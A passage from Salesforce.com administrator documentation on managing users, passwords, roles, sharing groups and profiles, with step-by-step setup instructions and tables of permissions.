will be marked Out of Date. Translators are responsible for keeping the translated terms updated.
For best results, have your translators check their translations frequently, and be sure to notify them when changes occur.
To update translated terms, see Entering Translated Terms on page 123.

See Also:
Setting Up Translation Workbench

125
USER MANAGEMENT

User Management Overview


The available user management options vary according to which Salesforce.com Edition you have.

In Salesforce.com, every user is identified by a username, password, and a single profile. The profile determines what tasks
each user can perform, what data they see, and what they can do with the data.
Depending on your organization's Salesforce.com edition and the additional features your organization has purchased, you
may have user licenses—such as Marketing, Connect Offline, Sales Anywhere, Salesforce Mobile, and Salesforce CRM
Content—which give particular users the ability to access other features that are only available with a specific user license. A
user can be assigned to one or more of these licenses. You can also set up accounts for users outside your organization who
need to access a limited set of fields and objects. These user licenses can grant access to Customer Portal, partner portal, or
Self-Service. Finally, using Salesforce to Salesforce, you can create connections to share records with other Salesforce.com
users outside of your organization.
As an administrator, you can perform user management tasks such as creating and editing users, resetting passwords, and
creating Google Apps accounts. You can also create and manage other types of users, create custom fields, set custom links,
run reports on users, and delegate user administration tasks to other users. For more information, see Managing Users on page
126.
You can control a user's access to data at several different levels:

• To control access to applications and objects, use profiles.


• To control access to fields on an object, use field-level security and record types.
• To control access to specific records, use a sharing model.

For more information, see Securing Data Access.

See Also:
Assigning Record Types to Profiles

Managing Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit users: “Manage Users”
To export users to Google Apps: “Customize Application”

To create or edit users, reset user passwords, and export users to Google to create Google Apps accounts, click Setup ➤
Manage Users ➤ Users.

126
User Management Managing Users

For more information, see:

• Adding New Users on page 128


• Editing Users on page 130
• Resetting Passwords on page 132
• Creating Google Apps Accounts on page 2023
Note: If Google Apps is not enabled for your organization, the Export to Google Apps button does not display.
To enable Google Apps in Salesforce.com, see Getting Started with Salesforce and Google Apps on page 2017.

To create other types of users, see:

• Enabling the Customer Portal for Contacts and Person Accounts on page 1386
• Self-Service for Contacts and Person Accounts on page 1385
• Creating Partner Accounts on page 1810 (for PRM portal users)

The user detail page shows you a list of all the users for your organization, PRM portal, and Salesforce.com Customer Portal.
You can create custom list views to see different subsets of your users (see Creating Custom List Views on page 1691). For
example, create a view with search criteria of “Profile Name equals Read Only” to show all users with the Read Only profile.
You can create custom fields for users and set custom links to display on the user detail page. Access these options via Setup
➤ Customize ➤ Users. For more information, see Creating Custom Fields on page 439 and Setting Custom Buttons and
Links on page 652.
In addition, you can use the sidebar search to search for any user in your organization, regardless of the user's status. However,
when using a lookup dialog from fields within records, the search results return only active users (see Search Overview on page
2073 and Lookup Dialog Search on page 2091). You can also run user reports in the Reports tab (see Administrative Reports on
page 1889).
To simplify user management in organizations with large numbers of users, delegate aspects of user administration to
non-administrator users (see Delegating Administrative Duties on page 244).
Note: You cannot delegate administrative duties related to your organization to partner portal or Customer Portal
users. However, you can delegate some portal administrative duties to portal users.

See Also:
Expiring Passwords
Deactivating Users
Logging In as Another User
Granting Checkout Access
Setting Quotas for Customizable Forecasting
Assigning Users to Roles
User Fields
Editing Your Personal Information
Managing Customer Portal Users

127
User Management Managing Users

Adding New Users


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create new users: “Manage Users”

The maximum number of users you can create is determined by your Edition:

Salesforce.com Edition Maximum Users


Personal 1
Contact Manager 2
Group 10
Professional Unlimited
Enterprise Unlimited
Unlimited Unlimited
Developer 2

To create a new user for your organization:

1. Click Setup ➤ Manage Users ➤ Users.


2. Click New User.
In Professional, Enterprise, Unlimited, and Developer Editions, you can choose Add Multiple Users to add more than
one user at a time.
3. Enter the user’s first name, last name, and email address. The email address becomes the username.
Note: If the user's name includes non-English characters, the user must add the specified language to the mail
format settings within Outlook if viewing email in Outlook.

4. Select a User License. The profiles available to you depend on the user license you choose.
Note: Some options become unavailable depending on the license type you choose. For example, the Marketing
User and Allow Forecasting options are not available for Force.com user licenses because the Forecasts and
Campaigns tabs are not available to users with a Force.com license. Force.com user licenses are not available for
Professional, Group, or Contact Manager Editions.

5. Select a profile to control what permissions the user has, for example, System Administrator.
In Professional, Enterprise, Unlimited, and Developer Editions, choose the Solution Manager profile to allow a user to
review and publish solutions. Choose the Marketing User profile to enable a user to import leads and update campaign
history via the campaign member import wizards. See Managing Profiles on page 142.

128
User Management Managing Users

6. In Professional, Enterprise, Unlimited, and Developer Editions, select a role from the list defined for the Role field.
See Managing Roles on page 136 if you have not set up the role hierarchy.
7. In Professional, Enterprise, and Unlimited Editions, you can enable additional features by selecting one or more of the
following checkboxes:

• Marketing User
• Offline User
• Mobile User

This checkbox only displays if you purchased Salesforce Mobile feature licenses.
• Salesforce CRM Content User

This checkbox only appears if you purchased Salesforce CRM Content feature licenses.

You will not be able to select these features if they are not supported by your user license type. Additionally, you will not
be able to save the new user record if you do not have any available feature licenses for these features.
Note: Without the Marketing User checkbox selected, users can only view campaigns and advanced campaign
setup, edit the Campaign History for a single lead or contact, and run campaign reports. In addition, you can set
the user’s profile to Marketing User to enable the user to import leads and update campaign history via the member
import wizards.

8. In Unlimited, Enterprise and Developer Edition organizations, you can select Send Apex Warning Emails to send
email to the user when an application that invokes an Apex script uses more than half of the resources specified by the
governor limits. This feature can be used during Apex script development to test the amount of resources being used at
runtime. For more information, see Force.com Apex Code Overview on page 964
9. To set a user’s initial password, check Generate new password and notify user immediately to have the
user’s login name and a temporary password emailed to the new user.

To create other types of users:

• For Salesforce.com Customer Portal users, see Enabling the Customer Portal for Contacts and Person Accounts on page
1386.
• For Self-Service portal users, see Self-Service for Contacts and Person Accounts on page 1385.
• For partner users, see Creating Partner Accounts on page 1810.
Note: You can change the license type of a Salesforce.com license, making it a Force.com license, but you cannot
change a Force.com license into a Salesforce.com license. For more details, see Viewing User License Types on page
181.

See Also:
Editing Users
Deactivating Users
Managing Users
Setting Up Your Customer Portal
Setting Up Self-Service

129
User Management Managing Users

Editing Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit users: “Manage Users”

To edit information for a user:

1. Click Setup ➤ Manage Users ➤ Users.


You can also edit your organization's users from the Users in Role related list in the role detail page.
2. Click Edit next to a user’s name.
3. Change the necessary information and click Save. If you want to deactivate a user so that he or she can no longer access
your organization, make sure the Active box is unmarked.

Tips for Editing Users


• Users can change or add to their own personal information after they log in.
• If you change a user’s email address and Generate new password and notify user immediately is unchecked,
a confirmation message will be sent to the new email address that you entered. The user must click the link provided in
that message for the new email address to take effect. This process is to ensure system security. When generating a new
password for a user, the new password is automatically sent to the user’s email address and email verification is not enforced.
• When editing a user, you can change the user's profile from the Profile drop-down list so that he or she can perform
different functions within Salesforce.com.
• Administrators can restrict the domain names of users’ email addresses to a list of explicitly allowed domains. Any attempts
to set an email address with another domain will result in an error message. Contact salesforce.com to enable this functionality
for your organization.
• From the user detail page, administrators can click Login to log in as users that have granted them access. This button is
only available for users who have granted login access to an administrator.
• Administrators can click Unlock to unlock a user that is locked out of Salesforce.com. This button is only available when
a user is locked out.
• If your organization has managed packages installed, click Assign Licenses to assign a package license to the User. Click
Remove to remove a license assigned to the user.
• Administrators can click Grant Checkout Access to give a user access to Checkout, see Granting Checkout Access on
page 134. Using Checkout, the user can purchase Salesforce.com licenses, AppExchange app licenses, and other related

130
User Management Managing Users

products. Additionally, within Checkout, the user can view the organization's quotes, installed products, orders, invoices,
payments, and contracts.

See Also:
Assigning Users to Roles
Adding New Users
Resetting Passwords
Managing Users
Viewing User License Types
Managing Customer Portal Users

Deactivating Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To deactivate users: “Manage Users”

You cannot completely delete a user from the system, but you can deactivate a user’s login so that he or she can no longer use
the service.

1. Click Setup ➤ Manage Users ➤ Users.


2. Click Edit next to a user’s name.
3. Deselect the Active checkbox and click Save.
If the user is a member of account, sales, or case teams, Salesforce.com prompts you to remove him or her from those
teams.

Tips on Deactivating Users


Consider the following when deactivating users:
• Deactivated users are removed from all groups, queues, and sharing privileges. However, you can still transfer their data
to other users and view their name on the Users page.
• Deactivated users continue to own opportunities and appear in forecasts and territories. When users are deactivated, their
opportunity forecast overrides, adjusted total overrides, and manager's choice overrides on subordinates' forecasts are frozen.
However, the manager of a deactivated user can apply manager's choice overrides to that user's forecasts. Rollup amounts
will be kept current. If a deactivated user is later reactivated, the user can resume normal work as before. For more information
on territories, see Territory Management Overview on page 2131.
• A deactivated user does not count against your organization’s available user licenses. However, deactivating a user does
not reduce the number of licenses for which your organization is billed; you must change your organization’s license count
to change your billing. See Adding or Subtracting User Licenses on page 2370.
• You cannot deactivate a user selected as a Customer Portal Administrator. For more information, see Enabling Customer
Portal Login and Settings on page 1434.

131
User Management Managing Users

• You cannot deactivate a user that is selected in a custom hierarchy field even if you delete the field. You must delete and
permanently erase the field first. For more information, see Managing Deleted Custom Fields.
• When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the option to remove
the portal user from any teams on which that user is a member.

See Also:
Mass Transferring Records
Adding New Users
Editing Users
Managing Users
Disabling and Deactivating Portal Users

Resetting Passwords
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To reset passwords: “Manage Users”

If a user loses his or her password, the user can click the Forgot your password? link on a failed login page to have a new
password emailed to him or her. The user must correctly answer a previously defined security question before they can reset
their password and log in. See Changing Your Password on page 60.
To reset a user’s password:

1. Click Setup ➤ Manage Users ➤ Users.


2. Select the checkbox next to the user’s name. Optionally, to change the passwords for all currently displayed users, check
the box in the column header to select all rows.
3. Click Reset Password to have a new password emailed to the user.

Tips on Resetting Passwords


Consider the following when resetting passwords:
• If a user has the “Uses Single Sign-On” permission, only an administrator can reset their password; Single Sign-On users
cannot reset their own passwords. For information about Single Sign-On, see About Single Sign-On on page 223.
• When you reset a user's password, the user may have to activate his or her computer to successfully log in to Salesforce.com.
For more information, see Setting Login Restrictions on page 175.

See Also:
Expiring Passwords
Managing Users

132
User Management Managing Users

Expiring Passwords
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To expire all passwords: “Manage Users”

To expire passwords for all users, except those with the “Password Never Expires” permission:

1. Click Setup ➤ Security Controls ➤ Expire All Passwords.


2. Select the Expire all user passwords checkbox.
3. Click Save.
The next time each user logs in, he or she will be prompted to reset his or her password.

Tips on Expiring Passwords


Consider the following when expiring passwords:
• After you expire passwords, users may need to activate their computers to successfully log in to Salesforce.com. For more
information, see Setting Login Restrictions on page 175.
• You can expire passwords for all users any time you want to enforce extra security for your organization. For more options
you can set to ensure password security, see Setting Password Policies on page 218.

See Also:
Resetting Passwords

Logging In as Another User


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To log in as another user who has granted you access:
“Manage Users”
AND
“Modify All Data”

To assist other users, administrators can log in to Salesforce.com as another user if that user has granted login access.
To log in as another user:

133
User Management Managing Users

1. Click Setup ➤ Manage Users ➤ Users.


2. Click the Login link next to the user who has granted you access. The Login link and button only appear for users who
have granted login access to an administrator.
3. Click Logout to return to your administrator account.

Note: You can also log in as another user from the user detail page and the Users in Role list page.

See Also:
Managing Users

Granting Checkout Access


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To grant Checkout access: “Manage Billing”
To edit users: “Manage Users”

Users with the “Manage Billing” permission automatically have access to Checkout when it is enabled for your organization.
These users can also grant access to other users within your organization.
To give a user access to Checkout:

1. Click Setup ➤ Manage Users ➤ Users.


2. Click on the appropriate user's name to open the user detail page.
3. Click Edit.
4. Select the Checkout Enabled checkbox. The user is notified by email when his or her Checkout account is activated
and available for login.

134
User Management Managing Users

Setting Quotas for Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set your quota: “Edit Personal Quota”
To set any user’s quota: “Manage Users”

Users with the appropriate permission can set their individual quota. Administrators and users with the appropriate permission
can always edit any quota, and managers can always change the quotas of users that report directly to them in the role hierarchy.

1. To set your personal quota, click Setup ➤ My Personal Information ➤ Personal Information. To change the quota of
a user that reports to you, click Setup ➤ Manage Users ➤ Users, and select the appropriate user.
2. Click Edit in the Quotas related list.
3. Select the appropriate range start and range length. If available, select a territory and product family.
Note: If your organization uses custom fiscal years, you cannot set quotas for a period that does not have a defined
fiscal year.

4. Enter the quota amounts for revenue and/or quantity.


5. Select the appropriate currency if you work with more than one currency.
6. Click Save to save the quota and return to the user detail page, or click Quick Save to save the values and continue to edit
the quota.
Tip: Using Quick Save allows you to quickly set a different quota for each product family.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1581. For
information on setting quotas if you do not have customizable forecasting, see Adding and Editing Quotas on page
63.

You can also use tools like the Data Loader to do mass updates on quotas. When updating quotas, set the quota field value
on the RevenueForecast or QuantityForecast objects. For more information, see RevenueForecast and QuantityForecast
in the Force.com Web Services API Developer's Guide.

See Also:
Managing Users

135
User Management Managing Roles

Managing Roles
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete roles: “Manage Users”
To assign users to roles: “Manage Users”

Depending on your sharing settings, roles can control the level of visibility that users have into your organization’s data. Users
at any given role level can view, edit, and report on all data owned by or shared with users below them in the hierarchy, unless
your organization’s sharing model for an object specifies otherwise. Specifically, in the Organization-Wide Defaults related
list, if the Grant Access Using Hierarchies option is disabled for a custom object, only the record owner and users granted
access by the organization-wide defaults receive access to the object's records.
Note: The following information applies to roles for your organization's users. For information about roles for partner
users and Salesforce.com Customer Portal users, see About PRM Channel Manager User Management on page 1781
and Managing Customer Portal Users on page 1452.

Working with Roles


To view and manage your organization's roles, click Setup ➤ Manage Users ➤ Roles.
• Choose one of the following list view options:
Show in tree view
See a visual representation of the parent-child relationships between your roles. Click Expand All to see all roles, or
Collapse All to see only top-level roles. To expand or collapse an individual node, click the plus (+) or minus (-)
icon.

Show in sorted list view


See a list that you can sort alphabetically by role name, parent role (Reports to), or report display name. If your
organization has a large number of roles, use this view for easy navigation and filtering.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to
define your own custom view. To edit or delete any view you created, select it from the View drop-down list and
click Edit.

Show in list view


See a list of roles and their children, grouped alphabetically by the name of the top-level role. The columns are not
sortable. This view is not available for hierarchies with more than 1,000 roles.
• To create a role, click New Role or Add Role, depending whether you are viewing the list view or tree view of roles, then
edit the role fields as needed. You can create up to 500 roles for your organization.
• To edit a role, click Edit next to a role name, then update the role fields as needed.
• To delete a role, click Delete next to the role name.
• To assign other users to a role, click Assign next to the role name.
• To view detailed information about a role, click a role name. If you are a Salesforce Knowledge user, you can modify
category visibility settings on the role detail page.

136
User Management Managing Roles

Tip: To simplify user management in organizations with large numbers of users, enable delegated administrators to
manage users in specified roles and all subordinate roles.

Notes on Roles
• Every user must be assigned to a role, or their data will not display in opportunity reports, forecast roll-ups, and other
displays based on roles. If your organization uses territory management, forecasts are based on the territory hierarchy rather
than the role hierarchy.
• All users that require visibility to the entire organization should belong to the highest level in the hierarchy.
• It is not necessary to create individual roles for each title at your company, rather you want to define a hierarchy of roles
to control access of information entered by users in lower level roles.
• When you change a user’s role, any relevant sharing rules are evaluated to add or remove access as necessary.
• When an account owner is not assigned a role, the sharing access for related contacts is Read/Write, provided the
organization-wide default for contacts is not Controlled by Parent. Sharing access on related opportunities and cases is
No Access.
• Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults.

See Also:
Viewing and Editing Roles
Setting Up Your Customer Portal
Managing Data Categories
What is Salesforce Knowledge?

Viewing and Editing Roles


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view role details: “View Setup and Configuration”
To edit and delete roles: “Manage Users”
To view users: “View Setup and Configuration”
To edit users: “Manage Users”

To view detailed information about a role, click Setup ➤ Manage Users ➤ Roles, and click the role name.
In the Role Detail related list:

• To view the role detail page for a parent or sibling role, click the role name in the Hierarchy or Siblings list.
• To edit the role details, click Edit.
• To remove the role from the hierarchy, click Delete.

In the Users in Role related list:

137
User Management Managing Roles

• To assign a user to the role, click Assign Users to Role.


• To add a user to your organization, click New User.
• To modify user information, click Edit next to a user name.
• To view a user's details, click the user's full name, alias, or username.
When Active is selected, the user can log into Salesforce.com. Deactivated users, such as employees who are no longer
with your company, cannot log in to Salesforce.com.

In the Category Group Visibility Settings related list, you can:

• Click a category group to view its setting details.


• Click Edit next to a category group to modify its visibility settings.

Note: Category group visibility settings are only available with Salesforce Knowledge, which requires Knowledge User
feature licenses. For information on purchasing feature licenses, contact salesforce.com.

See Also:
Managing Roles
Role Fields
Managing Data Categories
What is Salesforce Knowledge?

Assigning Users to Roles


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign users to roles: “Manage Users”

To quickly assign users to a particular role:

1. Click Setup ➤ Manage Users ➤ Roles.


2. Click Assign next to the name of the desired role.
Note: You can also access this page by clicking Assign Users to Role from the Users in Role related list.

3. Make a selection from the drop-down list to show the available users.
4. Select a user on the left, and click Add to assign the user to this role.

138
User Management Managing Roles

Note: Removing a user from the Selected Users list deletes the role assignment for that user.

See Also:
Role Fields
Managing Roles
Viewing and Editing Roles

Role Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit roles: “Manage Users”

The following fields (listed in alphabetical order) make up a role entry. Some of these fields may not be visible or editable
depending on your organization's permissions and sharing settings.

Field Description
Case Access Specifies whether users can access other users’ cases that are
associated with accounts the users own. This field is not visible
if your organization’s sharing model for cases is Public
Read/Write.
Contact Access Specifies whether users can access other users’ contacts that
are associated with accounts the users own. This field is not
visible if your organization’s sharing model for contacts is
Public Read/Write or Controlled by Parent.
Modified By The name of the user who last modified this role's details, and
the date and time that the role was modified.
Opportunity Access Specifies whether users can access other users’ opportunities
that are associated with accounts the users own. This field is
not visible if your organization’s sharing model for
opportunities is Public Read/Write.
Partner Role Indicates whether this role is associated with a partner account.
This field is available only when a Customer Portal or partner
portal is enabled for the organization.
Role Name Title of position or role in an organization, for example,
Western Sales VP.

139
User Management Managing Roles

Field Description
Role Name as displayed on reports A role name that appears in reports. When editing a role, if
the Role Name is long, you can enter an abbreviated name
in this field.
Sharing Groups These groups are automatically created and maintained. The
Role group contains all users in this role plus all users in roles
above this role. The Role and Subordinates group contains all
users in this role plus all users in roles above and below this
role in the hierarchy. The Role and Internal Subordinates
group (available if Customer Portals or partner portals are
enabled for your organization) contains all users in this role
plus all users in roles above and below this role, excluding
Customer Portal and partner portal users.
This role reports to The role above this role in the hierarchy.

See Also:
Managing Roles
Viewing and Editing Roles
Assigning Users to Roles
Managing Roles

Viewing Role and Territory Sharing Groups


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view users: “View Setup and Configuration”
To edit users: “Manage Users”

For each role in your hierarchy Salesforce.com automatically creates sharing groups, which you can use in sharing rules and
manual sharing:

• Role—users in the role plus users in roles above it in the hierarchy


• Role and Subordinates—users in the role plus users in roles above and below it in the hierarchy
• Role and Internal Subordinates—users in the role, plus users in roles above and below it in the hierarchy, excluding
Customer Portal or partner portal users. This group is visible only if Customer Portals or partner portals are enabled for
your organization.

If territory management is enabled for your organization, each territory has sharing groups:

140
User Management Managing Roles

• Territory—users in the territory plus users in territories above it in the hierarchy


• Territory and Subordinates—users in the territory plus users in territories above and below it in the hierarchy

Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.

To view sharing group members:

1. For roles, click Setup ➤ Manage Users ➤ Roles.


For territories, click Setup ➤ Manage Territories ➤ Hierarchy.
2. Click the role or territory name.
3. Click a link in the Sharing Groups field.

From this page, you can view detailed user information, edit user information, and access related information.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Edit next to a user name to edit the user information.
• Click Login next to a user name to log in as that user. This link is only available if the user has granted you login access.

See Also:
Role Fields

Viewing Users in Role Lists


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view users: “View Setup and Configuration”
To edit users: “Manage Users”

The users in role list page displays a list of users assigned to the selected role. From this page, you can view detailed user
information, edit users, and access other related information.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Edit next to a user name to edit the user information.
• Click Login next to a user name to log in as that user. This link is only available for users who have granted login access
to an administrator.

See Also:
Managing Roles

141
User Management Managing Profiles

Managing Profiles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete profiles: “Manage Users”

A profile defines a user’s permission to perform different functions within Salesforce.com, the PRM portal, and the
Salesforce.com Customer Portal. Profiles also control:

• Which standard and custom apps the user can view (depending on user license)
• Which tabs the user can view (depending on user license and other factors, such as access to Salesforce CRM Content)
• Which permissions a user is granted to customize and administer Salesforce.com
• Which permissions a user is granted to create, read, edit, and delete records for each object
• Which page layouts the user sees
• Which console layouts the user sees
• The field-level security access that the user has to view and edit specific fields
• Which record types are available to the user
• The hours during which and IP addresses from which the user can log in
• Which desktop clients users can access and related options
Note: This functionality is not available in Developer Edition.

• Whether the user can edit Apex


• Which users can execute methods in a particular top-level Apex class (see Setting Apex Class Security on page 972)
• The public access settings for Force.com Sites users

To create, edit, and delete profiles, click Setup ➤ Manage Users ➤ Profiles.
There are standard profiles in every Salesforce.com organization. In Contact Manager, Group, and Professional Edition
organizations, you can assign the standard profiles to your users. However, you cannot view or edit the standard profiles or
create custom profiles. In Enterprise, Unlimited, and Developer Edition organizations, you can use the standard profiles or
create, edit, and delete custom profiles. For the standard profiles, only certain settings can be changed.
Each standard or custom profile belongs to exactly one user license type.

See Also:
User Management Overview
Viewing Profile Lists
Key Profile Permissions

142
User Management Managing Profiles

Standard Profiles
The standard profiles available vary according to which Edition you have.

There are standard profiles in every Salesforce.com organization. Some profiles are not available in Contact Manager, Group,
and Professional Editions.

Profile Name Available Permissions


System Administrator Can configure and customize the application. Has access to
all functionality that does not require an additional license.
For example, administrators cannot manage campaigns unless
they also have a Marketing User license. Can manage price
books and products. Can edit any quota, override forecasts,
and view any forecast.
Standard Platform User Can use custom Force.com AppExchange apps developed in
your organization or installed from AppExchange. In addition,
can use core platform functionality such as accounts, contacts,
reports, dashboards, and custom tabs. For more information
on Salesforce Platform user licenses, see Viewing User License
Types on page 181.
Standard Platform One App User Can use one custom AppExchange app developed in your
organization or installed from AppExchange. The custom app
is limited to five tabs. In addition, can use core platform
functionality such as accounts, contacts, reports, dashboards,
and custom tabs.
Standard User Can create and edit most major types of records, run reports,
and view the organization's setup. Can view, but not manage,
campaigns. Can create, but not review, solutions. Can edit
personal quota and override forecasts.
Partner User Can only log in via a PRM Portal.
High-Volume Customer Portal User Can only log in via a Customer Portal. Can access records if
all of the following conditions are met:
and
• The records are associated with the high-volume Customer
Authenticated Website User Portal user's account or contact
(both user licenses are high-volume Customer Portal users) • The high-volume Customer Portal user has read only or
read/write access to an object's records

Customer Portal User Can only log in via a Customer Portal. Can only view and edit
data they directly own and can view and edit cases where they
are listed in the Contact Name field.
Customer Portal Manager Can only log in via a Customer Portal. Can view and edit data
they directly own or data owned by or shared with users below

143
User Management Managing Profiles

Profile Name Available Permissions


them in the Customer Portal role hierarchy; and they can view
and edit cases where they are listed in the Contact Name
field.
Solution Manager Can review and publish solutions. Also has access to the same
functionality as the Standard User.
Marketing User Can manage campaigns, import leads, create letterheads, create
HTML email templates, manage public documents, and
update campaign history via the import wizards. Also has
access to the same functionality as the Standard User.
Contract Manager Can create, edit, activate, and approve contracts. This profile
can also delete contracts as long as they are not activated. Can
edit personal quota and override forecasts.
Read Only Can view the organization's setup, run and export reports, and
view, but not edit, other records.

In Contact Manager, Group, and Professional Edition organizations, you can assign the standard profiles to your users.
However, you cannot view or edit the standard profiles or create custom profiles. In Enterprise, Unlimited, and Developer
Edition organizations, you can use the standard profiles or create, edit, and delete custom profiles. For the standard profiles,
only certain settings can be changed.

See Also:
Managing Profiles
Creating and Editing Profiles
User Permissions on Profiles
Managing Customer Portal Users

Viewing Profile Lists


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view profiles: “View Setup and Configuration”
To create, edit, and delete profiles: “Manage Users”
To create, edit, and delete profile list views: “Manage Users”
To print a profile list: “View Setup and Configuration”

To view the profiles in your organization, click Setup ➤ Manage Users ➤ Profiles.

144
User Management Managing Profiles

Viewing the Basic Profile List


• To view a profile's details, click the profile name.
• To edit or delete a profile, click Edit or Del next to the profile name.
• To create a profile, click New.

Viewing Enhanced Profile Lists


If enhanced profile management is enabled for your organization, you can use additional tools to customize, navigate, manage,
and print profile lists. You can also edit permissions directly in a list view.
• To show a filtered list of profiles, select a view from the drop-down list.
• To create a profile, click New Profile, or click Clone next to the profile that you want to base the new profile on.
• To create a view, click Create New View.
• To print a list view, select the view from the drop-down list and click the Printable View button ( ).
• To edit a view, select it from the drop-down list and click Edit
• To delete a view, select it from the drop-down list and click Delete.
• To refresh the list view after creating or editing a view, click Refresh.
• To edit or delete a profile, click Edit or Del next to the profile name.
• To create a profile that is based on an existing profile, click Clone next to the profile name.

Creating and Editing Profile List Views


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete profile list views: “Manage Users”

If enhanced profile management is enabled for your organization, you can create profile list views to show a set of profiles with
the fields you choose. For example, you could create a list view of all profiles in which “Modify All Data” is enabled.

Creating a Profile List View


1. In the Profiles page, click Create New View.
2. Enter the view name.
3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals
True.
a. Type a setting name, or click the lookup icon to search for and select the setting you want.
b. Choose a filter operator.
c. Enter the value that you want to match.
d. To specify another filter condition, click Add. You can specify up to 25 filter condition rows.
Note: To remove a filter condition row and clear its values, click the remove row icon .

145
User Management Managing Profiles

4. Under Select Columns to Display, specify the profile settings that you want to appear as columns in the list view.
a. From the Search drop-down list, select the type of setting you want to search for.
b. Enter part or all of a word in the setting you want to add and click Find.
Note: If the search finds more than 500 values, no results appear. Use the preceding steps to refine your search
criteria and show fewer results.

c. To add or remove columns, select one or more column names and click the Add or Remove arrow.
d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want.
Note: You can add up to 15 columns in a single list view.

5. Click Save.

Editing a Profile List View


To edit or clone an existing list view:
1. In the Profiles page, select the view you want from the drop-down list.
2. Click Edit.
3. Edit the fields as described in the procedure for creating a list view.
4. Click Save. To clone an existing view, rename the list view and click Save As.

See Also:
Managing Profiles
Editing Profiles Using Profile Lists
Viewing Profile Lists
Deleting List Views

Creating and Editing Profiles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, or delete profiles: “Manage Users”

• To view a profile, click Setup ➤ Manage Users ➤ Profiles, and select the name of a profile.
• To create a new profile, click New on the profile list page, or if enhanced profile management is enabled, click New Profile.
Select an existing profile to copy, give the new profile a name, and click Save. Then, click Edit to change the profile as
necessary.

146
User Management Managing Profiles

Note: The User License changes depending on the Existing Profile selected.

• To clone a profile, view an existing profile and click Clone.


You can only clone Salesforce.com Customer Portal user profiles from the Customer Portal Manager and Customer Portal
User profiles. This ensures that Customer Portal users can only access information relevant to them.
• To edit a custom profile, click Edit on the profile list page. Modify the profile name, description, custom app settings, tab
settings, and permissions as needed. If enhanced profile management is enabled for your organization, you can edit multiple
profiles from the list view.
When you change user permissions for a profile, some permissions may automatically enable or disable other permissions.
For example, enabling the “View All Data” permission automatically enables the “Read” permission for all standard and
custom objects. Likewise, the “Transfer Leads” permission automatically enables the “Read” and “Create” permissions on
leads.
When editing a profile, you can specify the standard or custom apps that are visible to users with the profile. Each custom
profile must have at least one visible app, except for profiles associated with Customer Portal users because apps are not
available to them. App settings take effect immediately when you click Save. Standard apps are only available to
Salesforce.com user license types. You can only show five tabs for users with Salesforce Platform One licenses.
Note: If salesforce.com has enabled Salesforce CRM Content for your organization but an administrator has not
selected the Salesforce CRM Content User checkbox on the user detail page, the Salesforce CRM Content
application does not have any tabs. The tabs display when the Salesforce CRM Content User checkbox is selected.

You can also specify whether to overwrite users’ existing personal tab customizations. The following settings apply to tab
visibility.

Setting Description
Default On Show the tab by default for users with this profile. Individual
users can override this setting for their logins. The Home
tab is always set to Default On.
Default Off Hide the tab by default for users with this profile. Individual
users can override this setting.
Tab Hidden Hide the tab and do not allow individual users to override
this setting in their personal customization. Making a tab
hidden does not hide the records for that tab; to prevent a
user from ever seeing records of that type, remove the “Read”
permission on that type of data.

• To delete a custom profile, click Del on the profile list page.


• To view or change page layouts for a profile, select a profile from the profile list page and click View Assignment next to
a tab name in the Page Layouts section.
• To assign a console layout to a profile, select the Edit link in the Console Settings section of the profile's detail page.
• To set field-level security for a profile, select a profile from the profile list page and click View next to a tab name in the
Field-Level Security section.

147
User Management Managing Profiles

• To set which record types are available to users with a profile, select a profile from the profile list page and click Edit next
to a tab name in the Record Type Settings section. The Edit link is available only if record types exist for a particular tab.
• To view a list of which users are assigned to a profile, select a profile from the profile list page and click the View Users
button.
• You can also assign profiles to a Customer Portal or a partner portal.

Note: Profiles never override your organization’s sharing model, or role or territory hierarchy. For example, the
Standard User profile gives a user access to create, edit, and delete leads. However, a user with this profile cannot edit
or delete other users’ leads if your organization’s sharing model is Read Only for leads.

See Also:
Managing Users
User Permissions on Profiles
Standard Profiles
Managing Profiles

Editing Profiles Using Profile Lists


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit profiles: “Manage Users”

If enhanced profile management is enabled for your organization, you can change permissions in up to 200 profiles directly
from the list view, without accessing individual profile pages. Editable fields display a pencil icon ( ) when you hover over
the field, while non-editable fields display a lock icon ( ). In some cases, such as in standard profiles, the pencil icon appears
but the setting is not actually editable.
